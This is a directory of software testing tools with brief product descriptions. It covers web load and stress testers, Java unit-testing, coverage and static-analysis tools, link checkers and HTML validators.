RealityLoad XF On-Demand Load Testing - An on-demand load testing service (no licenses) from Gomez.com. Leverages Gomez' peer panel, which consists of over 15,000 end-user desktop testing locations distributed across the world, to provide distributed load tests that accurately reproduce the network and latency characteristics encountered by real users in a live environment.

StressTester - Enterprise load and performance testing tool for web applications from Reflective Solutions Ltd. Advanced user journey modeling, scalable load, system resources monitors and results analysis. No scripting required. Suitable for any Web, JMS, IP or SQL Application. OS independent.

The Grinder - A Java-based load-testing framework freely available under a BSD-style open-source license. Orchestrate activities of a test script in many processes across many machines, using a graphical console application. Test scripts make use of client code embodied in Java plug-ins. Most users do not write plug-ins themselves, instead using one of the supplied plug-ins. Comes with a mature plug-in for testing HTTP services, as well as a tool which allows HTTP scripts to be automatically recorded.

Proxy Sniffer - Web load and stress testing tool from from Ingenieurbüro David Fischer GmbH Capabilities include: HTTP/S Web Session Recorder that can be used with any web browser; recordings can then be used to automatically create optimized Java-based load test programs; automatic protection from "false positive" results by examining actual web page content; detailed Error Analysis using saved error snapshots; real-time statistics.

Testing Master - Load test tool from Novosoft, capabilities include IP spoofing, multiple simultaneous test cases and website testing features for sites with dynamic content and secure HTTPS pages.

JKool Online - Performance measurement and monitoring service from Nastel Inc. for web-based J2EE and SOA applications; start and stop live data monitoring whenever needed; drills down to JMS, JDBC, method calls, servlets and sessions with simple one-click option to view live session details; built-in support for jBoss, WebLogic and IBM WebSphere Application Server.

Funkload - Web load testing, stress testing, and functional testing tool by Benoit Delbosc written in Python and distributed as free software under the GNU GPL. Emulates a web browser (single-threaded) using webunit; https support; produces detailed reports in ReST, HTML, or PDF.

Avalanche - Load-testing appliance from Spirent Communications, designed to stress-test security, network, and Web application infrastructures by generating large quantities of user and network traffic. Simulates as many as two million concurrently-connected users with unique IP addresses, emulates multiple Web browsers, supports Web Services testing Supports HTTP 1.0/1.1, SSL, FTP, RTSP/ RTP, MS Win Media, SMTP, POP3, DNS, Telnet, and Video on Demand over Multicast protocols.

Loadea - Stress testing tool runs on WinXP; free evaluation version for two virtual users. Capture module provides a development environment, utilizes C# scripting and XML based data. Control module defines, schedules, and deploys tests, defines number of virtual users, etc. Analysis module analyzes results and provides reporting capabilities.

LoadManager - Load, Stress, Stability and Performance testing tool from Alvicom. Runs on all platforms supported by Eclipse and Java.

QEngine Performance Tester - Automated testing tool from Zoho Corp. for performance testing (load and stress testing) of web applications and web services; J2EE, .NET, AJAX, PHP, Ruby on Rails, SOAP Web Services etc. Supports multiple browsers on Linux and Windows.

NeoLoad - Load testing tool for web applications from Neotys with clear and intuitive graphical interface, no scripting/fast learning curve, clear and comprehensive reports and test results. Can design complex scenarios to handle real world applications. Features include data replacement, data extraction, SOAP support, system monitoring (Windows, Linux, IIS, Apache, WebLogic, Websphere...), SSL recording, PDF/HTML/Word reporting, IP spoofing, and more. Multi-platform: Windows, Linux, Solaris.

Test Complete Enterprise - Automated test tool from AutomatedQA Corp. includes web load testing capabilities.

QTest - Web load testing tool from Quotium Technologies SA. Capabilities include: cookies managed natively, making the script modelling phase shorter; HTML and XML parser, allowing display and retrieval of any element from a HTML page or an XML flux in test scripts; option of developing custom monitors using supplied APIs; more.

Test Perspective Load Test - Do-it-yourself load testing service from Keynote Systems for Web applications. Utilizes Keynote's load-generating infrastructure on the Internet; conduct realistic outside-the-firewall load and stress tests to validate performance of entire Web application infrastructure.

SiteTester1 - Load test tool from Pilot Software Ltd. Allows definition of requests, jobs, procedures and tests, HTTP1.0/1.1 compatible requests, POST/GET methods, cookies, running in multi-threaded or single-threaded mode, generates various reports in HTML format, keeps and reads XML formatted files for test definitions and test logs. Requires JDK1.2 or higher.

httperf - Web server performance/benchmarking tool from HP Research Labs. Provides a flexible facility for generating various HTTP workloads and measuring server performance. Focus is not on implementing one particular benchmark but on providing a robust, high-performance, extensible tool. Available free as source code.

NetworkTester - Tool (formerly called 'NetPressure') from Agilent Technologies uses real user traffic, including DNS, HTTP, FTP, NNTP, streaming media, POP3, SMTP, NFS, CIFS, IM, etc. - through access authentication systems such as PPPOE, DHCP, 802.1X, IPsec, as necessary. Unlimited scalability; GUI-driven management station; no scripting; open API. Errors isolated and identified in real-time; traffic monitored at every step in a protocol exchange (such as time of DNS lookup, time to logon to server, etc.). All transactions logged, and detailed reporting available.

WAPT - Web load and stress testing tool from SoftLogica LLC. Handles dynamic content and HTTPS/SSL; easy to use; support for redirects and all types of proxies; clear reports and graphs.

Visual Studio Team System Test Edition - A suite of testing tools for Web applications and services that are integrated into the Microsoft Visual Studio environment. These enable testers to author, execute, and manage tests and related work items all from within Visual Studio.

OpenLoad - Affordable and completely web-based load testing tool from OpenDemand; knowledge of scripting languages not required - web-based recorder can capture and translate any user action from any website or web application. Generate up to 1000 simultaneous users with minimum hardware.

Apache JMeter - Java desktop application from the Apache Software Foundation designed to load test functional behavior and measure performance. Originally designed for testing Web Applications but has since expanded to other test functions; may be used to test performance both on static and dynamic resources (files, Servlets, Perl scripts, Java Objects, Data Bases and Queries, FTP Servers and more). Can be used to simulate a heavy load on a server, network or object to test its strength or to analyze overall performance under different load types; can make a graphical analysis of performance or test server/script/object behavior under heavy concurrent load.

TestMaker - Free open source utility maintained by PushToTest.com and Frank Cohen, for performance, scalability, and functional testing of Web application. Features test authoring of Web applications, Rich Internet Applications (RIA) using Ajax, Service Oriented Architecture, and Business Process Management environments. Integrates Selenium, soapUI, TestGen4Web, and HTMLUnit to make test development faster/easier. Repurposes tests from these tools into load and performance tests, functional tests, and business service monitors with no coding. Repurposes unit tests written in Java, Jython, JRuby, Groovy, and other dynamic scripting languages. Runs on any platform.

SiteStress - Remote, consultative load testing service by Webmetrics. Simulates end-user activity against designated websites for performance and infrastructure reliability testing. Can generate an infinitely scalable user load from GlobalWatch Network, and provide performance reporting, analysis, and optimization recommendations.

Siege - Open source stress/regression test and benchmark utility; supports basic authentication, cookies, HTTP and HTTPS protocols. Enables testing a web server with a configurable number of concurrent simulated users. Stress a single URL with a specified number of simulated users or stress multiple URL's simultaneously. Reports total number of transactions, elapsed time, bytes transferred, response time, transaction rate, concurrency, and server response. Developed by Jeffrey Fulmer, modeled in part after Lincoln Stein's torture.pl, but allows stressing many URLs simultaneously. Distributed under terms of the GPL; written in C; for UNIX and related platforms.

JBlitz - Load, performance and functional test tool from Clan Productions. Runs multiple concurrent virtual users.to simulate heavy load. Validates each response using plain text or regular expression searches, or by calling out to your own custom code. Full Java API. For testing and 'bullet-proofing' server side software - ASPs, JSPs, servlets, EJBs, Perl / PHP / C / C++ / CGI scripts etc.

WebServer Stress Tool - Web stress test tool from Paessler AG handles proxies, passwords, user agents, cookies, AAL.

Web Polygraph - Freely available benchmarking tool for caching proxies, origin server accelerators, L4/7 switches, and other Web intermediaries. Other features: for high-performance HTTP clients and servers, realistic traffic generation and content simulation, ready-to-use standard workloads, powerful domain-specific configuration language, and portable open-source implementation. C++ source available; binaries avail for Windows.

OpenSTA - 'Open System Testing Architecture' is a free, open source web load/stress testing application, licensed under the Gnu GPL. Utilizes a distributed software architecture based on CORBA. OpenSTA binaries available for Windows.

PureLoad - Java-based multi-platform performance testing and analysis tool from Minq Software. Includes 'Comparer' and 'Recorder' capabilities, dynamic input data, scenario editor/debugger, load generation for single or distributed sources.

ApacheBench - Perl API for Apache benchmarking and regression testing. Intended as foundation for a complete benchmarking and regression testing suite for transaction-based mod_perl sites. For stress-testing server while verifying correct HTTP responses. Based on the Apache 1.3.12 ab code. Available via CPAN as .tar.gz file.

Torture - Bare-bones Perl script by Lincoln Stein for testing web server speed and responsiveness and test stability and reliability of a particular Web server. Can send large amounts of random data to a server to measure speed and response time of servers, CGI scripts, etc.

WebSpray - Low-cost load testing tool from CAI Networks; includes link testing capabilities; can simulate up to 1,000 clients from a single IP address; also supports multiple IP addresses with or without aliases. For Windows.

eValid LoadTest - Web test tool from Software Research, Inc that uses a 'Test Enabled Web Browser' test engine that provides browser based 100% client side quality checking, dynamic testing, content validation, page performance tuning, and webserver loading and capacity analysis.

WebPerformance Load Tester - Load test tool emphasizing ease-of-use, from WebPerformance Inc. Supports all browsers and web servers; records and allows viewing of exact bytes flowing between browser and server; no scripting required. Modem simulation allows each virtual user to be bandwidth limited. Can automatically handle variations in session-specific items such as cookies, usernames, passwords, IP addresses, and any other parameter to simulate multiple virtual users. For Windows, Linux, Solaris, most UNIX variants.

Optima Quality Studio - A collection of load testing, capture/playback, and related tools from Technovations for performance testing of web sites. Modules include WebCorder, Load Director, Report Generator, Batch, Manager, and others. WebSizer load testing module supports authentication, SSL, cookies, redirects. Recorded scripts can be modified manually. For Windows.

FORECAST - Load testing tool from Facilita Software for web, client-server, network, and database systems. Capabilities include proprietary, Java, or C++ scripting; windows browser or network recording/playback. Supports binary encoded data such as Adobe Flex/AMF, Serialised Java objects etc.SSL; supports NTLM, kerberos, proxies, authentication, redirects, certificates, cookies, caching, bandwidth limitation and page validation. Virtual user data can be parameterized. Works with a wide variety of platforms.

http-Load - Free load test application from ACME Labs to generate web server loads, from ACME Software. Handles HTTP and HTTPS; for Unix.

QALoad - Tool from Microfocus (formerly from Compuware) for load/stress testing of web, database, and character-based systems. Supports HTTP, SSL, SOAP, XML, Streaming Media. Works with a variety of databases, middleware, ERP.

IBM Rational Performance Tester - Performance testing tool from IBM/Rational; has optional extensions to Seibel applications and SAP Solutions. Supports Windows, Linux and z/OS as distributed controller agents; provides high-level and detailed views of tests.

SilkPerformer - Enterprise-class load-testing tool from Microfocus (formerly from Borland, formerly from Segue). Can simulate thousands of users working with multiple protocols and computing environments. Allows prediction of behavior of e-business environment before it is deployed, regardless of size and complexity.

Radview's WebLoad - Load testing tool from Radview Software. Capabilities include over 75 Performance Metrics; can view global or detailed account of transaction successes/failures on individual Virtual Client level, assisting in capturing intermittent errors; allows comparing of running test vs. past test metrics. Test scripting via visual tool or Javascript. Wizard for automating non-GUI-based services testing; DoS security testing.

Loadrunner - HP's (formerly Mercury's) load/stress testing tool for web and other applications; supports a wide variety of application environments, platforms, and databases. Large suite of network/app/server monitors to enable performance measurement of each tier/server/component and tracing of bottlenecks.

Return to top of web tools listing

Java Test Tools

VisualVM - A free visual tool, originally from Sun, to monitor and troubleshoot Java applications. Runs on Sun JDK 6, but is able to monitor applications running on JDK 1.4 and higher. Utilizes various available technologies like jvmstat, JMX, the Serviceability Agent (SA), and the Attach API to get data and uses minimal overhead on monitored applications. Capabilities include: automatically detects and lists locally and remotely running Java applications; monitor application performance and memory consumption; profile application performance or analyze memory allocation; is able to save application configuration and runtime environment together with all taken thread dumps, heap dumps and profiler snaphots into a single application snapshot which can be later processed offline.

Cobertura - Free Java tool to identify which parts of a Java program are lacking test coverage and calculate % coverage; based on jcoverage. Instruments already-compiled Java bytecode; execute from ant or from the command line; generate reports in HTML or XML; shows % of lines and branches covered for each class, each package, and for the overall project. Shows McCabe cyclomatic code complexity of each class, and average cyclomatic code complexity for each package, and for the overall product. Can sort HTML results by class name, percent of lines covered, percent of branches covered, etc. and sort in ascending or decending order.

QCare - Static code analysis tool from ATX Software SA, supports Java, as well as COBOL, C#, C++, VB, SQL, PL/SQL, JavaScript and JSP.

JProfiler - Java profiling tool from ej-Technologies GmbH. Check for performance bottlenecks, memory leaks and threading issues.

Parallel-junit - Open source small library extensions for JUnit. Extends the junit.framework.TestSuite class by running tests in parallel, allowing more efficient test execution. Because TestResult and TestListener aren't designed to run tests in parallel, this implementation coordinates the worker threads and reorder event callbacks so that the TestResult object receives them in an orderly manner. In addition, output to System.out and System.err are also serialized to avoid screen clutter.

EMMA - Open-source toolkit, written in pure Java, for measuring and reporting Java code coverage. Targets support for large-scale enterprise software development while keeping individual developer's work fast and iterative. Can instrument classes for coverage either offline or on the fly (using an instrumenting application classloader); supported coverage types: class, method, line, basic block; can detect when a single source code line is covered only partially; coverage stats are aggregated at method, class, package, and "all classes" levels. Reports support drill-down, to user-controlled detail depth; HTML reports support source code linking. Does not require access to the source code; can instrument individial .class files or entire .jars (in place, if desired). Runtime overhead of added instrumentation is small (5-20%); memory overhead is a few hundred bytes per Java class.

PMD - Open source static analyzer scans java source for problems. Capabilities include scanning for: Empty try/catch/finally/switch statements; Dead code - unused local variables, parameters and private methods; Suboptimal code - wasteful string/stringBuffer usage; Overcomplicated expressions - unnecessary if statements, for loops that could be while loops; Duplicate code - copied/pasted code - could indicate copied/pasted bugs.

Hammurapi - Code review tool for Java (and other languages with latest version). Utilizes a rules engine to infer violations in source code. Doesn't fail on source files with errors, or if some inspectors throw exceptions. Parts of tool can be independently extended or replaced. Can review sources in multiple programming languages, perform cross-language inspections, and generate a consolidated report. Eclipse plugin.

TestNG - A testing framework inspired from JUnit and NUnit; supports JDK 5 Annotations, data-driven testing (with @DataProvider), parameters, distribution of tests on slave machines, plug-ins (Eclipse, IDEA, Maven, etc); embeds BeanShell for further flexibility; default JDK functions for runtime and logging (no dependencies).

Concordian - An open source testing framework for Java developed by David Peterson. Utilizes requirements in plain English using paragraphs, tables and proper punctuation in HTML. Developers instrument the concrete examples in each specification with commands (e.g. "set", "execute", "assertEquals") that allow test scenarios to be checked against the system to be tested. The instrumentation is invisible to a browser, but is processed by a Java fixture class that accompanies the specification. The fixture is also a JUnit test case. Results are exported with the usual green and red indicating successes and failures. Site includes info re similarities and diffs from Fitnesse.

DBUnit - Open source JUnit extension (also usable with Ant) targeted for database-driven projects that, among other things, puts a database into a known state between test runs. Enables avoidance of problems that can occur when one test case corrupts the database and causes subsequent tests to fail or exacerbate the damage. Has the ability to export and import database data to and from XML datasets. Can work with very large datasets when used in streaming mode, and can help verify that database data matches expected sets of values.

StrutsTestCase - Open source Unit extension of the standard JUnit TestCase class that provides facilities for testing code based on the Struts framework, including validation methods. Provides both a Mock Object approach and a Cactus approach to actually run the Struts ActionServlet, allowing testing of Struts code with or without a running servlet engine. Uses the ActionServlet controller to test code, enabling testing of the implementation of Action objects, as well as mappings, form beans, and forwards declarations.

DDSteps - A JUnit extension for building data driven test cases. Enables user to parameterize test cases, and run them more than once using different data. Uses external test data in Excel which is injected into test cases using standard JavaBeans properties. Test cases run once for each row of data, so adding new tests is just a matter of adding a row of data in Excel.

StrutsTestCase for JUnit - Open source extension of the standard JUnit TestCase class that provides facilities for testing code based on the Struts framework. Provides both a Mock Object approach and a Cactus approach to actually run the Struts ActionServlet, allowing testing Struts code with or without a running servlet engine. Because it uses the ActionServlet controller to test code, can test not only the implementation of Action objects, but also mappings, form beans, and forwards declarations. Since it already provides validation methods, it's quick and easy to write unit test cases.

JavaNCSS - A free Source Measurement Suite for Java by Clemens Lee. A simple command line utility which collects various source code metrics for Java. The metrics are collected globally, for each class and/or for each function.

Open Source Profilers for Java - Listing of about 25 open source code profilers for Java from 2006 from the Manageability.org web site.

SofCheck Inspector - Tool from SofCheck Inc. for analysis of Java for logic flaws and vulnerabilities. Exlpores all possible paths in byte code and detects flaws and vulnerabilities in areas such as: array index out of bounds, buffer overflows, race conditions, null pointer dereference, dead code, etc. Provides 100% path coverage and can report on values required for 100% unit test coverage. Patented precondition, postcondition and presumption reporting can help detect Malware code insertion.

CodePro - Suite of Java tools from Instantiations Inc. CodePro AnalytixX is an Eclipse-based Java software testing tool and includes features like code audit, metrics, automated unit tests, and more. CodePro Profiler, an Eclipse-based Java profiling tool enables inspection of a running application for performance bottlenecks, detect memory leaks and solve thread concurrency problems. EclipsePro Test automatically generates JUnit tests and includes an editor and analysis tool, provides test cases/results in tabular layout; mouse over failing case and Editor shows the failure message. WindowTester Pro for Swing or SWT UI's enables recording of GUI tests; watches actions and generates test cases automatically; customize the generated Java tests as needed. Provides a rich GUI Test Library, hiding complexities and threading issues of GUI test execution; test cases are based on the JUnit standard

Squish for Java - Automated Java GUI testing tool for Java Swing, AWT, SWT and RCP/Eclipse applications. Record or create/modify scripts using Tcl, Python, JavaScript. Automatic identification of GUI objects of the AUT; inspect AUT's objects, properties and methods on run-time using the Squish Spy. Can be run via a GUI front-end or via command line tools. Can execute tests in a debugger allowing setting breakpoints and stepping through test scripts.

Klocwork - Static analysis technology for Java, C, C++, C#; analyzes defects & security vulnerabilities, architecture & header file anomalies, metrics. Developers can run Klocwork in Eclipse or various other IDE's. Users can select scope of reporting as needed by selecting software component, defect type, and defect state/status.

Coverity Prevent - Tool from Coverity Inc. for analysis of Java source code for security issues. Explores all possible paths in source code and detects security vulnerabilities and defects in multiple areas: memory leaks, memory corruption, and illegal pointer accesses, buffer overruns, format string errors and SQL injections vulnerabilities, multi-threaded programming concurrency errors, etc.

GUIDancer - Eclipse-based tool from Bredex GmbH for automated testing of Java/Swing GUI's, Tests are specified, not programmed - no code or script is produced. Test specification is initially separate from the AUT, allowing test creation before the software is fully functional or available. Specification occurs interactively; components and actions are selected from menus, or by working with the AUT in an advanced "observation mode". Test results and errors viewable in a results view, can be saved as html or xml file.

CMTJava - Complexity measurement tool from Verifysoft GmbH. Includes McCabe cyclomatic complexity, lines-of-code metrics, Halstead metrics, maintainability index.

JavaCov - A J2SE/J2EE Coverage testing tool from Alvicom; specializes in testing to MC/DC (Modified Condition/Decision Coverage) depth. Capabilities include: Eclipse plugin; report generation into HTML and XML; Apache Ant integration and support for test automation.

Jameleon - Open source automated testing harness for acceptance-level and integration testing, written in Java. Separates applications into features and allows those features to be tied together independently, in XML, creating self-documenting automated test cases. These test-cases can then be data-driven and executed against different environments. Easily extensible via plug-ins; includes support for web applications and database testing.

Agitator - Automated java unit testing tool from Agitar Software. Creates instances of classes being exercised, calling each method with selected, dynamically created sets of input data, and analyzing results. Stores all information in XML files; works with Eclipse and a variety of IDEs. Also available are: automated JUnit generation, code-rule enforcement, and more.

PMD - Open source tool scans Java code for potential bugs, dead code, duplicate code, etc. - works with a variety of configurable and modifiable rulesets. Integrates with a wide variety of IDE's.

JLint - Open source static analysis tool will check Java code and find bugs, inconsistencies and synchronization problems by doing data flow analysis and building the lock graph.

Lint4j - A static Java source and byte code analyzer that detects locking and threading issues, performance and scalability problems, and checks complex contracts such as Java serialization by performing type, data flow, and lock graph analysis. Eclipse, Ant and Maven plugins available.

FindBugs - Open source static analysis tool to inspect Java bytecode for occurrences of bug patterns, such as difficult language features, misunderstood API methods, misunderstood invariants when code is modified during maintenance, garden variety mistakes such as typos, use of the wrong boolean, etc. Can report false warnings, generally less than 50%.

CheckStyle - Open source tool for checking code layout issues, class design problems, duplicate code, bug patterns, and much more.

Java Development Tools - Java coverage, metrics, profiler, and clone detection tools from Semantic Designs.

AppPerfect Test Studio - Suite of testing, tuning, and monitoring products for java development from AppPerfect Corp. Includes: Unit Tester, Code Analyzer, Java/J2EE Profiler and other modules.

GJTester - Java unit, regression, and contract (black box) test tool from TreborSoft. Enables test case and test script development without programming. Test private and protected functions, and server application's modules, without implementing test clients, regression testing for JAVA VM upgrades. Useful for testing CORBA, RMI, and other server technologies as well. GUI interface emphasizing ease of use.

QFTest - A cross-platform system and load testing tool from Quality First Software with support for for Java GUI test automation (Swing, Eclipse/SWT, Webstart, Applets, ULC). Includes small-scale test management capabilities, capture/replay mechanism, intuitive user interface and extensive documentation, reliable component recognition and can handle complex and custom GUI objects, integrated test debugger and customizable reporting.

Cactus - A simple open-source test framework for unit testing server-side java code (Servlets, EJBs, Tag Libs, Filters, etc.). Intent is to allow fine-grained continuous testing of all files making up an application: source code but also meta-data files (such as deployment descriptors, etc) through an in-container approach. It uses JUnit and extends it. Typically use within your IDE, or from the command line, using Ant. From Apache Software Foundation.

JUnitPerf - Allows performance testing to be dynamically added to existing JUnit tests. Enables quick composition of a performance test suite, which can then be run automatically and independent of other JUnit tests. Intended for use where there are performance/scalability requirements that need re-checking while refactoring code. By Mike Clark/Clarkware Consulting, licensed under the BSD License.

Abbot Java GUI Test Framework - Testing framework by Timothy Wall provides automated event generation and validation of Java GUI components, improving upon the very basic functions provided by the java.awt.Robot class. (Abbot = "A Better 'Bot'). The framework may be invoked directly from Java code or accessed without programming through the use of scripts via 'Costello', a script editor/recorder. Suitable for use both by developers for unit tests and QA for functional testing. Free - available under the GNU Lesser General Public License

JUnit - Framework to write repeatable java unit tests - a regression testing framework written by Erich Gamma and Kent Beck. For use by developers implementing unit tests in Java. Free Open Source Software released under the IBM Public License and hosted on SourceForge. Site includes a large collection of extensions and documentation.

jfcUnit - Framework for developing automated testing of Java Swing-based applications at the UI layer (as opposed to testing at lower layers, for which JUnit may be sufficient). Provides recording and playback capabilities. Also available as plugins for JBuilder and Eclipse. Free Open Source Software from SourceForge site.

JBench - Freeware Java benchmarking framework to compare algorithms, virtual machines, etc. for speed. Available as binary distribution (including documentation), source distribution, or jar file.

Clover - Code coverage tool for Java from Atlassian. Fully integrated plugin for Eclipse, IntelliJ IDEA and projects using Apache ANT and Maven. View coverage data in XML, HTML, PDF, or via a Swing GUI. Tracks cyclomatic complexity. TestOptimization automatically prioritises just the tests needed to cover the particular changes made.

JCover - Java code test coverage analysis tool from Codework Limited. Works with source or compiled files. Gathers coverage measures of branches, statements, methods, classes, file, package and produces reports in multiple formats. Coverage difference comparison between runs. Coverage API provided.

Structure101 - Java source code visualization tool from Headway Software. Lets user understand, measure, and control architecture, design, composition, and dependencies of code base. Analyzes byte code and shows all dependencies, at all levels and between all levels; method, class, package, application. Measures code complexity using a measurement framework called XS. For Windows, Linux and Mac OS X.

Java Tool Suite from Man Machine Systems - Includes JStyle, a Java source analyzer to generate code comments and metrics such as inheritance depth, Cyclomatic Number, Halstead Measures, etc; JPretty reformats Java code according to specified options; JCover test coverage analyzer; JVerify Java class/API testing tool uses an invasive testing model allowing access to internals of Java objects from within a test script and utilizes a proprietary OO scripting language; JMSAssert, a tool and technique for writing reliable software; JEvolve, an intelligent Java code evolution analyzer that automatically analyzes multiple versions of a Java program and shows how various classes have evolved across versions; can 'reason' about selective need for regression testing Java classes; JBrowser class browser; JSynTest, a syntax testing tool that automatically builds a Java-based test data generator.

JProbe Suite - Collection of Java debugging tools from Quest Software; includes JProbe Profiler and JProbe Memory Debugger for finding performance bottlenecks and memory leaks, LProbe Coverage code coverage tool, and JProbe Threadalyzer for finding deadlocks, stalls, and race conditions. JProfiler freeware version available.

Krakatau Professional for Java - Software metrics tool from Power Software includes more than 70 OO, procedural, complexity, and size metrics related to reusability, maintainability, testability, and clarity. Includes Cyclomatic Complexity, Enhanced Cyclomatic Complexity, Halstead Software Science metrics, LOC metrics and MOOD metrics. Has online advisor for quality improvement.

Jtest - ParaSoft's Jtest is an integrated, automatic unit testing and standards compliance tool for Java. It automatically generates and executes JUnit tests and checks whether code follows 400 coding standards and can automatically correct for many.

DevPartner Java Edition - Debugging/productivity tool from Microfocus (formerly from Compuware, formerly from NuMega) to detect and diagnose Java bugs and memory and performance problems; thread and event analysis, coverage analysis. Integrates with several Java IDE's.

VTune - Intel's performance tuning tool for applications running on Intel processors; includes Java support. Includes suggestions for optimization techniques.

TCAT for Java - Part of Software Research's TestWorks suite of test tools; code coverage analyzer and code analysis for Java; written in Java.

Open Source code analyzers listing - A listing of open source Java code analysis tools written in Java.

Open Source code coverage tools listing - A listing of open source Java code coverage tools written in Java.

Open Source Java test tools listing - A listing of open source tools and frameworks for Java testing, written in Java.

Open Source web test tools listing - A listing of open source web test tools and frameworks written in Java.

(Note: some other tools in these listings also handle testing, management, or load testing of java applets, servlets, and applications, or are planning to add such capabilities. Check listed web sites for current information.)

Return to top of web tools listing

Link Checking Tools

LinkTiger - Hosted link checker; free and $pro versions. Capabilities include e-mail alerts, dashboard, reporting; canned reports or create rich custom reports. Scans PDF, CSS, Flash and MS Office files, flash-animation.

HiSoftware Link Validation Utility - Link validation tool; available as part of the AccVerify Product Line from HiSoftware Inc.

ChangeAgent - Link checking and repair tool from Expandable Language. Identifies orphan files and broken links when browsing files; employs a simple, familiar interface for managing files; previews files when fixing broken links and before orphan removal; updates links to moved and renamed files; fixes broken links with an easy, 3-click process; provides multiple-level undo/redo for all operations; replaces links but does not reformat or restructure HTML code. For Windows.

Link Checker Pro - Link check tool from KyoSoft; can also produce a graphical site map of entire web site. Handles HTTP, HTTPS, and FTP protocols; several report formats available. For Windows platforms.

Web Link Validator - Link checker from REL Software checks links for accuracy and availability, finds broken links or paths and links with syntactic errors. Export to text, HTML, CSV, RTF, Excel. Freeware 'REL Link Checker Lite' version available for small sites. For Windows.

Site Audit - Low-cost on-the-web link-checking service from Blossom Software.

Xenu's Link Sleuth - Freeware link checker by Tilman Hausherr; supports SSL websites; partial testing of ftp and gopher sites; detects and reports redirected URL; Site Map; for Windows.

Linkalarm - Low cost on-the-web link checker from Link Alarm Inc.; free trial period available. Automatically-scheduled reporting by e-mail.

Alert Linkrunner - Link check tool from Viable Software Alternatives; evaluation version available. For Windows.

InfoLink - Link checker program from BiggByte Software; can be automatically scheduled; includes FTP link checking; multiple page list and site list capabilities; customizable reports; changed-link checking; results can be exported to database. For Windows. Discontinued, but old versions still available as freeware.

LinkScan - Electronic Software Publishing Co.'s link checker/site mapping tool; capabilities include automated retesting of problem links, randomized order checking; can check for bad links due to specified problems such as server-not-found, unauthorized-access, doc-not-found, relocations, timeouts. Includes capabilities for central management of large multiple intranet/internet sites. Results stored in database, allowing for customizable queries and reports. Validates hyperlinks for all major protocols; HTML syntax error checking. For all UNIX flavors, Windows, Mac.

CyberSpyder Link Test - Shareware link checker by Aman Software; capabilities include specified URL exclusions, ID/Password entries, test resumption at interruption point, page size analysis, 'what's new' reporting. For Windows.

Return to top of web tools listing

HTML Validators

RealValidator - Shareware HTML validator based on SGML parser by Liam Quinn. Unicode-enabled, supports documents in virtually any language; supports XHTML 1.0, HTML 4.01, HTML 4.0, HTML 3.2, HTML 3.0, and HTML 2.0 ; extensible - add proprietary HTML DTDs or change the existing ones; fetches external DTDs by HTTP and caches them for faster validation; HTML 3.2 and HTML 4.0 references included as HTML Help. For Windows.

HTML Validator - Firefox add-on, open source by Marc Gueury. The validation is done on your local machine inside Firefox and Mozilla. Error count of an HTML page is seen as an icon in the status bar when browsing. Can validate the HTML sent by the server or the HTML in the memory (after Ajax execution). Error details available when viewing the HTML source of the page. Based on Tidy and OpenSP (SGML Parser). Available in 17 languages and for Windows and other platforms.

CSE 3310 HTML Validator - HTML syntax checker for Windows from AI Internet Solutions. Supports wide variety of standards; accessibility (508) checking; uppercase/lowercase converter. Free 'lite' version. For Windows.

(Note: Many of the products listed in the Web Site Management Tools section include HTML validation capabilities.)

Return to top of web tools listing

Free On-the-Web HTML Validators and Link Checkers

Site Check - Type in one URL and automatically run HTML and stylesheet validators, accessibility assessment, link check, load time check, and more. Organizes access to a collection of free online web test tools. Site of UITest.com/Jens Meiert. Also lists a wide variety of free online web analysis/development/test tools.

Link Valet - Online link checker, includes capability fot hilight links modified since a specified date.

Dead-Links.com - Free link-checker limited to 25 pages per domain and 150 external documents. Higher limits if site has a link to Dead-Links.com.

WDG HTML Validator - Web Design Group's validator - latest HTML version support, flexible input methods, user-friendly error messages.

Web Page 'Purifier' - Free on-the-web HTML checker by DJ Delorie allows viewing a page 'purified' to HTML 2.0, HTML 3.2, HTML 4.0, or WebTV 1.1. standards.

W3C HTML Validation Service - HTML validation site run by the WWW Consortium (the folks who set web standards); handles one URL at a time; Can choose from among 30 character encoding types, and multiple HTML and XHTML document types/versions.

W3C CSS Validation Service - CSS validation site run by the WWW Consortium (the folks who set web standards); handles one URI at a time; or upload file or validate by direct input.

W3C Link Checker - Link checking service run by the WWW Consortium (the folks who set web standards); configurable. Handles one URL at a time. PERL source also available for download.

Weblint Gateway - Site with online HTML validator; somewhat configurable. Site provided by San Francisco State University.

Web Page Backward Compatibility Viewer - On-the-web HTML checker by DJ Delorie; will serve a web page to you with various selectable tags switched on or off; very large selection of browser types; to check how various browsers or versions might see a page.

Return to top of web tools listing

PERL and C Programs for Validating and Checking

W3C Link Checker - Link checker PERL source code, via the WWW Consortium (the folks who set web standards); configurable. Handles one URL at a time. See 'Download' link.

HTML TIDY - Free utility available from SourceForget.net; originally by Dave Raggett. For automatic fixing of HTML errors, formatting disorganized editing, and finding problem HTML areas. Available as source code or binaries.

Big Brother - Freeware command-line link checker for Unix, Windows, by Francois Pottier. Available as source code; binary avaialable for Linux.

LinkLint - Open source Perl program checks local/remote HTML links. Includes cross referenced and hyperlinked output reports, ability to check password-protected areas, support for all standard server-side image maps, reports of orphan files and files with mismatching case, reports URLs changed since last checked, support of proxy servers for remote URL checking. Distributed under Gnu General Public License. Has not been updated in recent years.

MOMspider - Multi-Owner Maintenance Spider; link checker. PERL script for a web spider for web site maintenance; for UNIX and PERL. Utilizes the HTTP 'HEAD' request instead of the 'GET' request so that it does not require retreival of the entire html page. This site contains an interesting discussion on the use of META tags. Not updated in recent years.

HTMLchek for awk or perl - Old but still useful HTML 2.0 or 3.0 validator programs for AWK or PERL by H. Churchyard; site has much documentation and related info. Not updated in recent years.

Return to top of web tools listing

Web Functional/Regression Test Tools

Cloud Testing Service - Web testing utilizing cloud capabilities, from Cloud Testing Limited. Involves first recording web functionality via browser and Selenium IDE, uploading scripts to the Cloud Testing website; then scripts run using real browsers on real operating systems in the testing cloud; results are available as screenshots, HTML & component diagnostics. Test can be re-run whenever needed or as scheduled. Cross Browser feature enables test runs in multiple browsers (IE, Firefox, Safari, Opera, Google Chrome) and comparing appearance/results side-by-side. Cloud load testing and site monitoring services also available.

SymbioTeam Lite - Free version of SymbioTeam platform from SymbioWare, Inc. An integrated software testing, site monitoring, and load testing solution for Web and Windows desktop applications; expresses functional behavior of a software application in plain English. For Windows platforms. JavaScript advanced support extends a wide set of predefined functions; support for AJAX and rich Web applications.

